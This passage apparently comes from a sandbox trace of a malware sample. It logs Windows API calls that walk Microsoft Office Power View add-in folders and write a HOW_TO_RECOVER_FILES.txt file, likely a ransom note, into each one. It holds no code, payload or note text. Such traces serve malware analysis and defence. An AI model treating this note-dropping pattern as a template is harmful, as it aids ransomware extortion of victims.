nFileSizeLow=0x4f98b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.lt.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0224.329] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0224.329] FindClose (in: hFindFile=0x134b040 | out: hFindFile=0x134b040) returned 1 [0224.330] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0224.330] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0224.330] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0224.330] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\lt", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\lt", lpFilePart=0x0) returned 0x51 [0224.330] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\lt\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7b529d9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x152a6704, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x152a6704, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aa40 [0224.331] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7b529d9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x152a6704, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x152a6704, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.331] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb6089d0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb6089d0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x152f2ade, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc42c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0224.331] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5101cbd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5101cbd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5101cbd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0224.331] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9992797, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9992797, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9992797, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0224.331] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7b78b8d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7b78b8d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7b9ee02, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4918, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0224.331] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x152a6704, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x152a6704, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15bbd5ad, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f98b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.lt.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0224.332] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x152a6704, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x152a6704, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15bbd5ad, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f98b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.lt.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0224.332] FindClose (in: hFindFile=0x134aa40 | out: hFindFile=0x134aa40) returned 1 [0224.332] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0224.332] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0224.333] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\lt\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ec640, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\lt\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0224.333] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecb60) returned 1 [0224.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\lt\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\lt\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0224.335] GetFileType (hFile=0x630) returned 0x1 [0224.335] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecad0) returned 1 [0224.335] GetFileType (hFile=0x630) returned 0x1 [0224.335] WriteFile (in: hFile=0x630, lpBuffer=0x363b9b8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ecc28, lpOverlapped=0x0 | out: lpBuffer=0x363b9b8*, lpNumberOfBytesWritten=0x206ecc28*=0x5d0, lpOverlapped=0x0) returned 1 [0224.336] CloseHandle (hObject=0x630) returned 1 [0224.336] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0224.336] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\lv", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\lv", lpFilePart=0x0) returned 0x51 [0224.336] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\lv\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf035e09d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1525a179, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1525a179, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134abc0 [0224.337] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf035e09d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1525a179, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1525a179, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.337] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf035e09d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf035e09d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1662bb01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc3ec0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0224.338] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0dcc568, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0dcc568, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0dcc568, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x11ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0224.338] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc62081b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc62081b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc646a83, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0224.338] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf475131d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf475131d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf475131d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4928, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0224.338] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1525a179, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1525a179, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f891, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.lv.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0224.338] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0224.338] FindClose (in: hFindFile=0x134abc0 | out: hFindFile=0x134abc0) returned 1 [0224.339] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0224.339] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0224.339] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0224.339] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\lv", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\lv", lpFilePart=0x0) returned 0x51 [0224.339] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\lv\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf035e09d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1525a179, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1525a179, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b280 [0224.340] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf035e09d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1525a179, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1525a179, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.340] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf035e09d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf035e09d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1662bb01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc3ec0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0224.340] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0dcc568, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0dcc568, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0dcc568, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x11ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0224.340] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc62081b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc62081b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc646a83, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0224.341] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf475131d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf475131d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf475131d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4928, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0224.341] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1525a179, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1525a179, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f891, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.lv.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0224.341] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1525a179, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1525a179, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f891, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.lv.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0224.341] FindClose (in: hFindFile=0x134b280 | out: hFindFile=0x134b280) returned 1 [0224.342] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0224.342] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0224.342] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\lv\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ec640, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\lv\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0224.342] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecb60) returned 1 [0224.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\lv\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\lv\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0224.343] GetFileType (hFile=0x630) returned 0x1 [0224.343] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecad0) returned 1 [0224.343] GetFileType (hFile=0x630) returned 0x1 [0224.344] WriteFile (in: hFile=0x630, lpBuffer=0x364f188*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ecc28, lpOverlapped=0x0 | out: lpBuffer=0x364f188*, lpNumberOfBytesWritten=0x206ecc28*=0x5d0, lpOverlapped=0x0) returned 1 [0224.345] CloseHandle (hObject=0x630) returned 1 [0224.345] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0224.345] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ms", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ms", lpFilePart=0x0) returned 0x51 [0224.345] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ms\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42fef17, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15ab259c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15ab259c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b520 [0224.346] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42fef17, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15ab259c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15ab259c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.346] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf42fef17, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42fef17, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x15b24c93, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc3ec0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0224.346] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8719376, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x8719376, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8719376, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0224.346] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x61fe8c4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x61fe8c4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0224.346] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4ec0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0224.347] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15ab259c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15ab259c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15ad884b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4e046, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.ms.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0224.347] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0224.347] FindClose (in: hFindFile=0x134b520 | out: hFindFile=0x134b520) returned 1 [0224.347] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0224.347] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0224.348] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0224.348] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ms", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ms", lpFilePart=0x0) returned 0x51 [0224.348] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ms\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42fef17, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15ab259c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15ab259c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a680 [0224.349] FindNextFileW (in: hFindFile=0x134a680, 